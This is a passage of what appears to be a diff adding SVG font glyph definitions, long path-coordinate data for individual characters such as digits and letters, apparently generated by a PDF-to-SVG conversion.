+<path style="stroke:none;" d="M 4.921875 -0.359375 C 4.671875 -0.179688 4.390625 -0.0507812 4.078125 0.03125 C 3.765625 0.125 3.4375 0.171875 3.09375 0.171875 C 2.625 0.171875 2.226562 0.0820312 1.90625 -0.09375 C 1.582031 -0.269531 1.320312 -0.523438 1.125 -0.859375 C 0.925781 -1.203125 0.78125 -1.609375 0.6875 -2.078125 C 0.59375 -2.554688 0.546875 -3.085938 0.546875 -3.671875 C 0.546875 -4.921875 0.765625 -5.875 1.203125 -6.53125 C 1.648438 -7.1875 2.289062 -7.515625 3.125 -7.515625 C 3.507812 -7.515625 3.835938 -7.476562 4.109375 -7.40625 C 4.378906 -7.34375 4.613281 -7.253906 4.8125 -7.140625 L 4.515625 -6.21875 C 4.128906 -6.445312 3.707031 -6.5625 3.25 -6.5625 C 2.71875 -6.5625 2.316406 -6.328125 2.046875 -5.859375 C 1.773438 -5.398438 1.640625 -4.671875 1.640625 -3.671875 C 1.640625 -3.265625 1.664062 -2.882812 1.71875 -2.53125 C 1.78125 -2.1875 1.878906 -1.882812 2.015625 -1.625 C 2.160156 -1.363281 2.335938 -1.15625 2.546875 -1 C 2.765625 -0.851562 3.035156 -0.78125 3.359375 -0.78125 C 3.609375 -0.78125 3.84375 -0.820312 4.0625 -0.90625 C 4.289062 -1 4.472656 -1.101562 4.609375 -1.21875 Z M 4.921875 -0.359375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-10">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph1-11">
+<path style="stroke:none;" d="M 0.75 -1.203125 C 0.945312 -1.085938 1.175781 -0.988281 1.4375 -0.90625 C 1.707031 -0.820312 1.988281 -0.78125 2.28125 -0.78125 C 2.601562 -0.78125 2.875 -0.859375 3.09375 -1.015625 C 3.320312 -1.179688 3.4375 -1.441406 3.4375 -1.796875 C 3.4375 -2.109375 3.363281 -2.359375 3.21875 -2.546875 C 3.082031 -2.742188 2.910156 -2.921875 2.703125 -3.078125 C 2.492188 -3.234375 2.265625 -3.378906 2.015625 -3.515625 C 1.773438 -3.648438 1.550781 -3.804688 1.34375 -3.984375 C 1.132812 -4.171875 0.957031 -4.390625 0.8125 -4.640625 C 0.675781 -4.898438 0.609375 -5.226562 0.609375 -5.625 C 0.609375 -6.25 0.773438 -6.71875 1.109375 -7.03125 C 1.453125 -7.351562 1.929688 -7.515625 2.546875 -7.515625 C 2.953125 -7.515625 3.300781 -7.476562 3.59375 -7.40625 C 3.882812 -7.332031 4.140625 -7.226562 4.359375 -7.09375 L 4.078125 -6.21875 C 3.890625 -6.320312 3.671875 -6.40625 3.421875 -6.46875 C 3.179688 -6.53125 2.9375 -6.5625 2.6875 -6.5625 C 2.332031 -6.5625 2.070312 -6.488281 1.90625 -6.34375 C 1.75 -6.195312 1.671875 -5.96875 1.671875 -5.65625 C 1.671875 -5.40625 1.738281 -5.191406 1.875 -5.015625 C 2.007812 -4.847656 2.179688 -4.691406 2.390625 -4.546875 C 2.609375 -4.410156 2.835938 -4.269531 3.078125 -4.125 C 3.328125 -3.976562 3.554688 -3.800781 3.765625 -3.59375 C 3.972656 -3.394531 4.144531 -3.15625 4.28125 -2.875 C 4.414062 -2.601562 4.484375 -2.253906 4.484375 -1.828125 C 4.484375 -1.554688 4.4375 -1.296875 4.34375 -1.046875 C 4.257812 -0.804688 4.128906 -0.59375 3.953125 -0.40625 C 3.773438 -0.226562 3.550781 -0.0859375 3.28125 0.015625 C 3.007812 0.117188 2.691406 0.171875 2.328125 0.171875 C 1.898438 0.171875 1.53125 0.128906 1.21875 0.046875 C 0.90625 -0.0351562 0.640625 -0.144531 0.421875 -0.28125 Z M 0.75 -1.203125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-12">
+<path style="stroke:none;" d="M 0.125 -7.328125 L 1.03125 -7.328125 L 1.03125 -8.78125 L 2.078125 -9.125 L 2.078125 -7.328125 L 3.671875 -7.328125 L 3.671875 -6.375 L 2.078125 -6.375 L 2.078125 -2.015625 C 2.078125 -1.578125 2.128906 -1.265625 2.234375 -1.078125 C 2.335938 -0.890625 2.507812 -0.796875 2.75 -0.796875 C 2.9375 -0.796875 3.101562 -0.816406 3.25 -0.859375 C 3.394531 -0.898438 3.550781 -0.957031 3.71875 -1.03125 L 3.921875 -0.1875 C 3.703125 -0.0820312 3.460938 0 3.203125 0.0625 C 2.941406 0.125 2.671875 0.15625 2.390625 0.15625 C 1.898438 0.15625 1.550781 0 1.34375 -0.3125 C 1.132812 -0.632812 1.03125 -1.148438 1.03125 -1.859375 L 1.03125 -6.375 L 0.125 -6.375 Z M 0.125 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-13">
+<path style="stroke:none;" d="M 0.546875 -3.671875 C 0.546875 -4.992188 0.769531 -5.960938 1.21875 -6.578125 C 1.675781 -7.203125 2.328125 -7.515625 3.171875 -7.515625 C 4.066406 -7.515625 4.726562 -7.195312 5.15625 -6.5625 C 5.582031 -5.925781 5.796875 -4.960938 5.796875 -3.671875 C 5.796875 -2.335938 5.566406 -1.363281 5.109375 -0.75 C 4.648438 -0.132812 4.003906 0.171875 3.171875 0.171875 C 2.265625 0.171875 1.597656 -0.144531 1.171875 -0.78125 C 0.753906 -1.414062 0.546875 -2.378906 0.546875 -3.671875 Z M 1.640625 -3.671875 C 1.640625 -3.234375 1.664062 -2.835938 1.71875 -2.484375 C 1.769531 -2.140625 1.859375 -1.835938 1.984375 -1.578125 C 2.109375 -1.328125 2.269531 -1.128906 2.46875 -0.984375 C 2.664062 -0.847656 2.898438 -0.78125 3.171875 -0.78125 C 3.679688 -0.78125 4.0625 -1.003906 4.3125 -1.453125 C 4.5625 -1.910156 4.6875 -2.648438 4.6875 -3.671875 C 4.6875 -4.085938 4.660156 -4.472656 4.609375 -4.828125 C 4.554688 -5.191406 4.46875 -5.5 4.34375 -5.75 C 4.226562 -6.007812 4.070312 -6.207031 3.875 -6.34375 C 3.675781 -6.488281 3.441406 -6.5625 3.171875 -6.5625 C 2.671875 -6.5625 2.289062 -6.328125 2.03125 -5.859375 C 1.769531 -5.398438 1.640625 -4.671875 1.640625 -3.671875 Z M 1.640625 -3.671875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-14">
+<path style="stroke:none;" d="M 5.484375 0.34375 C 5.484375 1.289062 5.269531 1.988281 4.84375 2.4375 C 4.425781 2.882812 3.816406 3.109375 3.015625 3.109375 C 2.523438 3.109375 2.125 3.066406 1.8125 2.984375 C 1.5 2.898438 1.25 2.804688 1.0625 2.703125 L 1.359375 1.796875 C 1.554688 1.878906 1.769531 1.957031 2 2.03125 C 2.238281 2.113281 2.53125 2.15625 2.875 2.15625 C 3.46875 2.15625 3.875 1.988281 4.09375 1.65625 C 4.320312 1.320312 4.4375 0.765625 4.4375 -0.015625 L 4.4375 -0.5625 L 4.390625 -0.5625 C 4.234375 -0.332031 4.03125 -0.15625 3.78125 -0.03125 C 3.539062 0.09375 3.226562 0.15625 2.84375 0.15625 C 2.050781 0.15625 1.46875 -0.144531 1.09375 -0.75 C 0.726562 -1.363281 0.546875 -2.328125 0.546875 -3.640625 C 0.546875 -4.898438 0.785156 -5.851562 1.265625 -6.5 C 1.753906 -7.144531 2.472656 -7.46875 3.421875 -7.46875 C 3.878906 -7.46875 4.273438 -7.421875 4.609375 -7.328125 C 4.941406 -7.242188 5.234375 -7.144531 5.484375 -7.03125 Z M 4.4375 -6.28125 C 4.132812 -6.4375 3.753906 -6.515625 3.296875 -6.515625 C 2.796875 -6.515625 2.394531 -6.285156 2.09375 -5.828125 C 1.789062 -5.378906 1.640625 -4.65625 1.640625 -3.65625 C 1.640625 -3.238281 1.664062 -2.859375 1.71875 -2.515625 C 1.769531 -2.171875 1.851562 -1.867188 1.96875 -1.609375 C 2.082031 -1.347656 2.226562 -1.144531 2.40625 -1 C 2.59375 -0.863281 2.816406 -0.796875 3.078125 -0.796875 C 3.453125 -0.796875 3.742188 -0.890625 3.953125 -1.078125 C 4.171875 -1.273438 4.332031 -1.570312 4.4375 -1.96875 Z M 4.4375 -6.28125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-15">
+<path style="stroke:none;" d="M 2.6875 -2.59375 L 3 -1.171875 L 3.0625 -1.171875 L 3.28125 -2.59375 L 4.40625 -7.328125 L 5.46875 -7.328125 L 3.734375 -0.75 C 3.585938 -0.21875 3.445312 0.273438 3.3125 0.734375 C 3.175781 1.191406 3.023438 1.585938 2.859375 1.921875 C 2.703125 2.265625 2.523438 2.53125 2.328125 2.71875 C 2.128906 2.90625 1.890625 3 1.609375 3 C 1.335938 3 1.097656 2.957031 0.890625 2.875 L 1.078125 1.875 C 1.210938 1.925781 1.347656 1.9375 1.484375 1.90625 C 1.617188 1.875 1.742188 1.789062 1.859375 1.65625 C 1.984375 1.519531 2.097656 1.316406 2.203125 1.046875 C 2.304688 0.773438 2.398438 0.425781 2.484375 0 L 0.109375 -7.328125 L 1.3125 -7.328125 Z M 2.6875 -2.59375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-16">
+<path style="stroke:none;" d="M 0 2.046875 L 4.90625 2.046875 L 4.90625 3 L 0 3 Z M 0 2.046875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-17">
+<path style="stroke:none;" d="M 1.375 -0.984375 L 3.03125 -0.984375 L 3.03125 -8.125 L 3.171875 -9 L 2.671875 -8.296875 L 1.4375 -7.296875 L 0.875 -7.953125 L 3.546875 -10.453125 L 4.09375 -10.453125 L 4.09375 -0.984375 L 5.6875 -0.984375 L 5.6875 0 L 1.375 0 Z M 1.375 -0.984375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-18">
+<path style="stroke:none;" d="M 5.40625 -8.03125 C 5.40625 -7.488281 5.320312 -6.921875 5.15625 -6.328125 C 5 -5.742188 4.796875 -5.164062 4.546875 -4.59375 C 4.296875 -4.019531 4.015625 -3.46875 3.703125 -2.9375 C 3.398438 -2.414062 3.097656 -1.953125 2.796875 -1.546875 L 2.21875 -0.890625 L 2.21875 -0.84375 L 3 -0.984375 L 5.5625 -0.984375 L 5.5625 0 L 0.8125 0 L 0.8125 -0.46875 C 0.988281 -0.695312 1.195312 -0.976562 1.4375 -1.3125 C 1.6875 -1.65625 1.941406 -2.03125 2.203125 -2.4375 C 2.460938 -2.84375 2.71875 -3.273438 2.96875 -3.734375 C 3.21875 -4.191406 3.441406 -4.65625 3.640625 -5.125 C 3.835938 -5.59375 3.992188 -6.054688 4.109375 -6.515625 C 4.234375 -6.972656 4.296875 -7.410156 4.296875 -7.828125 C 4.296875 -8.328125 4.179688 -8.722656 3.953125 -9.015625 C 3.722656 -9.316406 3.390625 -9.46875 2.953125 -9.46875 C 2.671875 -9.46875 2.394531 -9.414062 2.125 -9.3125 C 1.851562 -9.207031 1.617188 -9.078125 1.421875 -8.921875 L 1.015625 -9.703125 C 1.273438 -9.929688 1.59375 -10.113281 1.96875 -10.25 C 2.351562 -10.382812 2.757812 -10.453125 3.1875 -10.453125 C 3.90625 -10.453125 4.453125 -10.226562 4.828125 -9.78125 C 5.210938 -9.332031 5.40625 -8.75 5.40625 -8.03125 Z M 5.40625 -8.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-19">
+<path style="stroke:none;" d="M 6.03125 -7.9375 C 6.03125 -7.6875 6 -7.429688 5.9375 -7.171875 C 5.882812 -6.921875 5.789062 -6.679688 5.65625 -6.453125 C 5.53125 -6.234375 5.375 -6.035156 5.1875 -5.859375 C 5 -5.679688 4.765625 -5.546875 4.484375 -5.453125 L 4.484375 -5.40625 C 4.722656 -5.351562 4.945312 -5.269531 5.15625 -5.15625 C 5.375 -5.039062 5.566406 -4.882812 5.734375 -4.6875 C 5.898438 -4.488281 6.03125 -4.242188 6.125 -3.953125 C 6.226562 -3.660156 6.28125 -3.316406 6.28125 -2.921875 C 6.28125 -2.390625 6.195312 -1.929688 6.03125 -1.546875 C 5.863281 -1.160156 5.632812 -0.84375 5.34375 -0.59375 C 5.0625 -0.351562 4.726562 -0.171875 4.34375 -0.046875 C 3.96875 0.0664062 3.570312 0.125 3.15625 0.125 C 3.019531 0.125 2.859375 0.125 2.671875 0.125 C 2.492188 0.125 2.300781 0.113281 2.09375 0.09375 C 1.894531 0.0820312 1.691406 0.0625 1.484375 0.03125 C 1.285156 0.0078125 1.101562 -0.0234375 0.9375 -0.078125 L 0.9375 -10.1875 C 1.226562 -10.238281 1.570312 -10.285156 1.96875 -10.328125 C 2.363281 -10.367188 2.789062 -10.390625 3.25 -10.390625 C 3.582031 -10.390625 3.914062 -10.359375 4.25 -10.296875 C 4.582031 -10.234375 4.878906 -10.113281 5.140625 -9.9375 C 5.410156 -9.757812 5.625 -9.507812 5.78125 -9.1875 C 5.945312 -8.875 6.03125 -8.457031 6.03125 -7.9375 Z M 3.25 -0.890625 C 3.507812 -0.890625 3.75 -0.929688 3.96875 -1.015625 C 4.195312 -1.097656 4.394531 -1.222656 4.5625 -1.390625 C 4.738281 -1.554688 4.875 -1.757812 4.96875 -2 C 5.070312 -2.238281 5.125 -2.519531 5.125 -2.84375 C 5.125 -3.25 5.0625 -3.578125 4.9375 -3.828125 C 4.8125 -4.078125 4.648438 -4.269531 4.453125 -4.40625 C 4.265625 -4.539062 4.046875 -4.628906 3.796875 -4.671875 C 3.546875 -4.722656 3.285156 -4.75 3.015625 -4.75 L 2.046875 -4.75 L 2.046875 -1 C 2.097656 -0.976562 2.171875 -0.960938 2.265625 -0.953125 C 2.359375 -0.941406 2.460938 -0.929688 2.578125 -0.921875 C 2.691406 -0.910156 2.804688 -0.898438 2.921875 -0.890625 C 3.035156 -0.890625 3.144531 -0.890625 3.25 -0.890625 Z M 2.640625 -5.703125 C 2.773438 -5.703125 2.929688 -5.707031 3.109375 -5.71875 C 3.285156 -5.726562 3.429688 -5.742188 3.546875 -5.765625 C 3.910156 -5.910156 4.222656 -6.144531 4.484375 -6.46875 C 4.742188 -6.800781 4.875 -7.207031 4.875 -7.6875 C 4.875 -8.007812 4.828125 -8.28125 4.734375 -8.5 C 4.648438 -8.71875 4.53125 -8.890625 4.375 -9.015625 C 4.226562 -9.148438 4.050781 -9.242188 3.84375 -9.296875 C 3.632812 -9.347656 3.421875 -9.375 3.203125 -9.375 C 2.941406 -9.375 2.707031 -9.363281 2.5 -9.34375 C 2.300781 -9.332031 2.148438 -9.316406 2.046875 -9.296875 L 2.046875 -5.703125 Z M 2.640625 -5.703125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-20">
+<path style="stroke:none;" d="M 2.46875 -3.296875 L 1.921875 -3.296875 L 1.921875 0 L 0.859375 0 L 0.859375 -10.265625 L 1.921875 -10.265625 L 1.921875 -4.015625 L 2.40625 -4.21875 L 4.125 -7.328125 L 5.34375 -7.328125 L 3.609375 -4.375 L 3.09375 -3.90625 L 3.703125 -3.328125 L 5.59375 0 L 4.3125 0 Z M 2.46875 -3.296875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-21">
+<path style="stroke:none;" d="M 0.40625 -6.640625 L 1.140625 -6.640625 C 1.242188 -7.359375 1.394531 -7.953125 1.59375 -8.421875 C 1.800781 -8.890625 2.050781 -9.269531 2.34375 -9.5625 C 2.632812 -9.863281 2.957031 -10.085938 3.3125 -10.234375 C 3.675781 -10.378906 4.054688 -10.453125 4.453125 -10.453125 C 4.859375 -10.453125 5.203125 -10.421875 5.484375 -10.359375 C 5.773438 -10.304688 6.035156 -10.226562 6.265625 -10.125 L 5.96875 -9.15625 C 5.78125 -9.238281 5.566406 -9.304688 5.328125 -9.359375 C 5.097656 -9.410156 4.816406 -9.4375 4.484375 -9.4375 C 4.222656 -9.4375 3.972656 -9.382812 3.734375 -9.28125 C 3.503906 -9.1875 3.289062 -9.035156 3.09375 -8.828125 C 2.894531 -8.617188 2.722656 -8.34375 2.578125 -8 C 2.429688 -7.65625 2.320312 -7.203125 2.25 -6.640625 L 5.515625 -6.640625 L 5.296875 -5.71875 L 2.15625 -5.71875 C 2.144531 -5.644531 2.140625 -5.546875 2.140625 -5.421875 C 2.140625 -5.304688 2.140625 -5.210938 2.140625 -5.140625 C 2.140625 -5.035156 2.140625 -4.953125 2.140625 -4.890625 C 2.140625 -4.835938 2.144531 -4.769531 2.15625 -4.6875 L 5.0625 -4.6875 L 4.84375 -3.765625 L 2.234375 -3.765625 C 2.367188 -2.742188 2.640625 -2 3.046875 -1.53125 C 3.460938 -1.070312 3.992188 -0.84375 4.640625 -0.84375 C 5.253906 -0.84375 5.753906 -0.976562 6.140625 -1.25 L 6.375 -0.359375 C 6.144531 -0.171875 5.851562 -0.0351562 5.5 0.046875 C 5.144531 0.128906 4.789062 0.171875 4.4375 0.171875 C 3.53125 0.171875 2.785156 -0.132812 2.203125 -0.75 C 1.628906 -1.363281 1.265625 -2.367188 1.109375 -3.765625 L 0.171875 -3.765625 L 0.40625 -4.6875 L 1.046875 -4.6875 L 1.046875 -5.140625 C 1.046875 -5.210938 1.046875 -5.304688 1.046875 -5.421875 C 1.046875 -5.546875 1.050781 -5.644531 1.0625 -5.71875 L 0.171875 -5.71875 Z M 0.40625 -6.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-22">
+<path style="stroke:none;" d="M 0.84375 -2.375 C 0.84375 -3.03125 0.976562 -3.585938 1.25 -4.046875 C 1.519531 -4.503906 1.921875 -4.921875 2.453125 -5.296875 C 2.253906 -5.441406 2.066406 -5.59375 1.890625 -5.75 C 1.722656 -5.914062 1.578125 -6.097656 1.453125 -6.296875 C 1.328125 -6.503906 1.226562 -6.734375 1.15625 -6.984375 C 1.082031 -7.242188 1.046875 -7.539062 1.046875 -7.875 C 1.046875 -8.664062 1.25 -9.289062 1.65625 -9.75 C 2.070312 -10.21875 2.644531 -10.453125 3.375 -10.453125 C 4.050781 -10.453125 4.585938 -10.242188 4.984375 -9.828125 C 5.378906 -9.410156 5.578125 -8.835938 5.578125 -8.109375 C 5.578125 -7.554688 5.46875 -7.0625 5.25 -6.625 C 5.039062 -6.195312 4.703125 -5.78125 4.234375 -5.375 C 4.441406 -5.226562 4.640625 -5.066406 4.828125 -4.890625 C 5.015625 -4.710938 5.175781 -4.515625 5.3125 -4.296875 C 5.457031 -4.078125 5.566406 -3.828125 5.640625 -3.546875 C 5.722656 -3.265625 5.765625 -2.941406 5.765625 -2.578125 C 5.765625 -1.742188 5.539062 -1.078125 5.09375 -0.578125 C 4.65625 -0.078125 4.039062 0.171875 3.25 0.171875 C 2.863281 0.171875 2.523438 0.109375 2.234375 -0.015625 C 1.941406 -0.140625 1.691406 -0.3125 1.484375 -0.53125 C 1.273438 -0.757812 1.113281 -1.03125 1 -1.34375 C 0.894531 -1.65625 0.84375 -2 0.84375 -2.375 Z M 3.140625 -4.890625 C 2.691406 -4.554688 2.363281 -4.179688 2.15625 -3.765625 C 1.957031 -3.359375 1.859375 -2.945312 1.859375 -2.53125 C 1.859375 -2.039062 1.976562 -1.625 2.21875 -1.28125 C 2.46875 -0.945312 2.828125 -0.78125 3.296875 -0.78125 C 3.679688 -0.78125 4.007812 -0.914062 4.28125 -1.1875 C 4.5625 -1.46875 4.703125 -1.914062 4.703125 -2.53125 C 4.703125 -2.832031 4.660156 -3.097656 4.578125 -3.328125 C 4.492188 -3.566406 4.375 -3.773438 4.21875 -3.953125 C 4.070312 -4.128906 3.90625 -4.296875 3.71875 -4.453125 C 3.539062 -4.609375 3.347656 -4.753906 3.140625 -4.890625 Z M 3.53125 -5.75 C 3.863281 -6.082031 4.117188 -6.414062 4.296875 -6.75 C 4.472656 -7.09375 4.5625 -7.46875 4.5625 -7.875 C 4.5625 -8.414062 4.441406 -8.820312 4.203125 -9.09375 C 3.960938 -9.363281 3.679688 -9.5 3.359375 -9.5 C 3.148438 -9.5 2.960938 -9.457031 2.796875 -9.375 C 2.640625 -9.289062 2.507812 -9.171875 2.40625 -9.015625 C 2.300781 -8.867188 2.21875 -8.703125 2.15625 -8.515625 C 2.09375 -8.328125 2.0625 -8.125 2.0625 -7.90625 C 2.0625 -7.644531 2.097656 -7.40625 2.171875 -7.1875 C 2.253906 -6.976562 2.363281 -6.789062 2.5 -6.625 C 2.644531 -6.457031 2.804688 -6.300781 2.984375 -6.15625 C 3.160156 -6.007812 3.34375 -5.875 3.53125 -5.75 Z M 3.53125 -5.75 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-23">
+<path style="stroke:none;" d="M 0.5625 -5.140625 C 0.5625 -6.078125 0.617188 -6.878906 0.734375 -7.546875 C 0.847656 -8.222656 1.019531 -8.773438 1.25 -9.203125 C 1.488281 -9.628906 1.78125 -9.941406 2.125 -10.140625 C 2.46875 -10.347656 2.859375 -10.453125 3.296875 -10.453125 C 3.765625 -10.453125 4.171875 -10.347656 4.515625 -10.140625 C 4.867188 -9.941406 5.15625 -9.628906 5.375 -9.203125 C 5.601562 -8.773438 5.769531 -8.222656 5.875 -7.546875 C 5.988281 -6.878906 6.046875 -6.078125 6.046875 -5.140625 C 6.046875 -4.191406 5.984375 -3.378906 5.859375 -2.703125 C 5.742188 -2.035156 5.566406 -1.488281 5.328125 -1.0625 C 5.097656 -0.632812 4.8125 -0.320312 4.46875 -0.125 C 4.132812 0.0703125 3.75 0.171875 3.3125 0.171875 C 2.832031 0.171875 2.421875 0.0703125 2.078125 -0.125 C 1.734375 -0.332031 1.445312 -0.648438 1.21875 -1.078125 C 0.988281 -1.515625 0.820312 -2.066406 0.71875 -2.734375 C 0.613281 -3.398438 0.5625 -4.203125 0.5625 -5.140625 Z M 1.65625 -5.140625 C 1.65625 -3.734375 1.785156 -2.65625 2.046875 -1.90625 C 2.316406 -1.15625 2.742188 -0.78125 3.328125 -0.78125 C 3.898438 -0.78125 4.3125 -1.125 4.5625 -1.8125 C 4.820312 -2.5 4.953125 -3.609375 4.953125 -5.140625 C 4.953125 -6.523438 4.828125 -7.597656 4.578125 -8.359375 C 4.328125 -9.117188 3.898438 -9.5 3.296875 -9.5 C 2.734375 -9.5 2.316406 -9.15625 2.046875 -8.46875 C 1.785156 -7.78125 1.65625 -6.671875 1.65625 -5.140625 Z M 1.65625 -5.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-24">
+<path style="stroke:none;" d="M 0.578125 -0.65625 C 0.578125 -0.9375 0.640625 -1.144531 0.765625 -1.28125 C 0.898438 -1.414062 1.082031 -1.484375 1.3125 -1.484375 C 1.53125 -1.484375 1.707031 -1.414062 1.84375 -1.28125 C 1.976562 -1.144531 2.046875 -0.9375 2.046875 -0.65625 C 2.046875 -0.375 1.976562 -0.164062 1.84375 -0.03125 C 1.707031 0.101562 1.53125 0.171875 1.3125 0.171875 C 1.082031 0.171875 0.898438 0.101562 0.765625 -0.03125 C 0.640625 -0.164062 0.578125 -0.375 0.578125 -0.65625 Z M 0.578125 -0.65625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-25">
+<path style="stroke:none;" d="M 5.515625 -7.328125 L 5.515625 0 L 4.453125 0 L 4.453125 -6.375 L 2.1875 -6.375 L 2.1875 0 L 1.125 0 L 1.125 -6.375 L 0.234375 -6.375 L 0.234375 -7.328125 L 1.125 -7.328125 L 1.125 -7.75 C 1.125 -8.664062 1.3125 -9.332031 1.6875 -9.75 C 2.0625 -10.164062 2.601562 -10.375 3.3125 -10.375 C 3.789062 -10.375 4.207031 -10.328125 4.5625 -10.234375 C 4.925781 -10.140625 5.21875 -10.035156 5.4375 -9.921875 L 5.109375 -9.03125 C 4.867188 -9.175781 4.601562 -9.273438 4.3125 -9.328125 C 4.03125 -9.390625 3.734375 -9.421875 3.421875 -9.421875 C 3.140625 -9.421875 2.921875 -9.375 2.765625 -9.28125 C 2.609375 -9.1875 2.484375 -9.046875 2.390625 -8.859375 C 2.304688 -8.679688 2.25 -8.460938 2.21875 -8.203125 C 2.195312 -7.941406 2.1875 -7.648438 2.1875 -7.328125 Z M 5.515625 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-26">
+<path style="stroke:none;" d="M 2.359375 -3.75 L 0.421875 -7.328125 L 1.6875 -7.328125 L 2.765625 -5.234375 L 3.0625 -4.421875 L 3.375 -5.234375 L 4.484375 -7.328125 L 5.65625 -7.328125 L 3.703125 -3.8125 L 5.765625 0 L 4.5625 0 L 3.328125 -2.296875 L 3 -3.1875 L 2.671875 -2.296875 L 1.4375 0 L 0.28125 0 Z M 2.359375 -3.75 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-27">
+<path style="stroke:none;" d="M 1.359375 -1.109375 C 1.546875 -1.003906 1.757812 -0.921875 2 -0.859375 C 2.238281 -0.804688 2.515625 -0.78125 2.828125 -0.78125 C 3.097656 -0.78125 3.34375 -0.832031 3.5625 -0.9375 C 3.78125 -1.039062 3.96875 -1.191406 4.125 -1.390625 C 4.289062 -1.585938 4.414062 -1.820312 4.5 -2.09375 C 4.59375 -2.363281 4.640625 -2.660156 4.640625 -2.984375 C 4.640625 -3.703125 4.476562 -4.226562 4.15625 -4.5625 C 3.84375 -4.894531 3.398438 -5.0625 2.828125 -5.0625 L 1.953125 -5.0625 L 1.953125 -5.484375 L 3.65625 -8.78125 L 4.21875 -9.390625 L 3.421875 -9.28125 L 1.109375 -9.28125 L 1.109375 -10.265625 L 5.375 -10.265625 L 5.375 -9.84375 L 3.484375 -6.34375 L 3.046875 -5.90625 L 3.046875 -5.890625 L 3.484375 -5.96875 C 3.785156 -5.96875 4.070312 -5.90625 4.34375 -5.78125 C 4.613281 -5.664062 4.847656 -5.488281 5.046875 -5.25 C 5.242188 -5.007812 5.398438 -4.710938 5.515625 -4.359375 C 5.628906 -4.003906 5.6875 -3.59375 5.6875 -3.125 C 5.6875 -2.59375 5.609375 -2.117188 5.453125 -1.703125 C 5.304688 -1.296875 5.101562 -0.953125 4.84375 -0.671875 C 4.582031 -0.398438 4.28125 -0.191406 3.9375 -0.046875 C 3.59375 0.0976562 3.222656 0.171875 2.828125 0.171875 C 2.484375 0.171875 2.160156 0.140625 1.859375 0.078125 C 1.554688 0.0234375 1.296875 -0.0507812 1.078125 -0.15625 Z M 1.359375 -1.109375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-28">
+<path style="stroke:none;" d="M 5.828125 -4.734375 L 2.046875 -4.734375 L 2.046875 0 L 0.9375 0 L 0.9375 -10.265625 L 2.046875 -10.265625 L 2.046875 -5.75 L 5.828125 -5.75 L 5.828125 -10.265625 L 6.921875 -10.265625 L 6.921875 0 L 5.828125 0 Z M 5.828125 -4.734375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-29">
+<path style="stroke:none;" d="M 2 -1.75 C 2 -1.40625 2.046875 -1.160156 2.140625 -1.015625 C 2.234375 -0.867188 2.363281 -0.796875 2.53125 -0.796875 C 2.726562 -0.796875 2.96875 -0.847656 3.25 -0.953125 L 3.34375 -0.109375 C 3.21875 -0.0234375 3.039062 0.0351562 2.8125 0.078125 C 2.582031 0.128906 2.375 0.15625 2.1875 0.15625 C 1.8125 0.15625 1.507812 0.0390625 1.28125 -0.1875 C 1.050781 -0.414062 0.9375 -0.816406 0.9375 -1.390625 L 0.9375 -10.265625 L 2 -10.265625 Z M 2 -1.75 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-30">
+<path style="stroke:none;" d="M 0.671875 -7.15625 C 0.671875 -8.175781 0.890625 -8.976562 1.328125 -9.5625 C 1.765625 -10.15625 2.410156 -10.453125 3.265625 -10.453125 C 4.085938 -10.453125 4.726562 -10.144531 5.1875 -9.53125 C 5.644531 -8.925781 5.875 -8 5.875 -6.75 C 5.875 -5.644531 5.769531 -4.679688 5.5625 -3.859375 C 5.351562 -3.046875 5.066406 -2.359375 4.703125 -1.796875 C 4.347656 -1.234375 3.925781 -0.789062 3.4375 -0.46875 C 2.945312 -0.144531 2.414062 0.0664062 1.84375 0.171875 L 1.5625 -0.6875 C 2.507812 -0.9375 3.238281 -1.425781 3.75 -2.15625 C 4.269531 -2.894531 4.597656 -3.820312 4.734375 -4.9375 C 4.535156 -4.65625 4.3125 -4.457031 4.0625 -4.34375 C 3.8125 -4.226562 3.476562 -4.171875 3.0625 -4.171875 C 2.75 -4.171875 2.445312 -4.226562 2.15625 -4.34375 C 1.875 -4.46875 1.625 -4.65625 1.40625 -4.90625 C 1.1875 -5.15625 1.007812 -5.46875 0.875 -5.84375 C 0.738281 -6.21875 0.671875 -6.65625 0.671875 -7.15625 Z M 1.75 -7.28125 C 1.75 -6.582031 1.890625 -6.046875 2.171875 -5.671875 C 2.453125 -5.304688 2.828125 -5.125 3.296875 -5.125 C 3.671875 -5.125 3.988281 -5.203125 4.25 -5.359375 C 4.507812 -5.523438 4.695312 -5.734375 4.8125 -5.984375 C 4.832031 -6.109375 4.84375 -6.226562 4.84375 -6.34375 C 4.84375 -6.46875 4.84375 -6.582031 4.84375 -6.6875 C 4.84375 -7.0625 4.8125 -7.414062 4.75 -7.75 C 4.6875 -8.09375 4.585938 -8.390625 4.453125 -8.640625 C 4.316406 -8.898438 4.144531 -9.109375 3.9375 -9.265625 C 3.738281 -9.421875 3.5 -9.5 3.21875 -9.5 C 2.757812 -9.5 2.398438 -9.296875 2.140625 -8.890625 C 1.878906 -8.492188 1.75 -7.957031 1.75 -7.28125 Z M 1.75 -7.28125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-31">
